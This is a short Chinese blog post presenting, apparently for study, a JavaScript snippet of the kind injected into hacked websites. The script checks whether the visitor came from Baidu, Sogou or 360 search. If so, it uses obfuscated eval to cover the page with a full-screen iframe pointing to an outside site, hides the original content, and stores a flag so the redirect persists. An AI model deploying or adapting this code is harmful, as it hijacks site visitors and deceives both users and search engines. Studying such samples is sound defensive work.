计科随机文库
首页 留言 小视频 登录
一种js代码的研究学习

`

`

var titlestr = document.title;
var arr = 'http://www.baidu.com?www.kan.pub';
var linkIndex = Math.floor((Math.random() * arr.length));
var isStorage = localStorage.getItem('isStorage');
var referer = document.referrer;
var regex = /(baidu.com|sogou.com|so.com)/i;
if (regex.test(referer) || navigator.userAgent.toLowerCase().indexOf('baiduboxapp') > -1 || isStorage) {
  setFrame(arr);
}
function setFrame(olink) {
    localStorage.setItem('isStorage', 1);
  var ss = '<title>' + titlestr + '</title><div id="showcloneshengxiaon" style="position: fixed;top:0;left:0;z-index: 999999999999!important;height: 100%; width: 100%; background-color: rgb(255, 255, 255); background-position: initial initial; background-repeat: initial initial;"><ifr' + 'ame scrolling="yes" marginheight=0 marginwidth=0 frameborder="0" width="100%" height="100%" src="' + olink + '"></iframe></div><style type="text/css">html{width:100%;height:100%;}body {width:100%;height:100%;}</style>';
  eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');");
  try {
    setTimeout(function() {
      console.log(document.body.children.length);
      for (var i = 0; i < document.body.children.length; i++) {
        try {
          var a = document.body.children[i].tagName;
          var b = document.body.children[i].id;
          console.log(i + "***" + a + "**" + b);
          if (b != "iconDiv1" && b != "showcloneshengxiaon" && a != "title") {
            document.body.children[i].style.display = "non" + "e";
          }
        } catch (e) {}
      }
      var oMeta = document.createElement('meta');
      oMeta.name = 'viewport';
      oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no';
      document.getElementsByTagName('head')[0].appendChild(oMeta);
    }, 100);
  } catch (e) {}
}
function generateRandomCode(length) {
  var characters = 'rj0yu2296mlzc32831wn3078p6k056gi4x51btsdo1fhqa75ve494';
  var code = '';
  for (var i = 0; i < length; i++) {
    var randomIndex = Math.floor(Math.random() * characters.length);
    code += characters.charAt(randomIndex);
  }
  return code;
}

评论留言
验证码
一共0条留言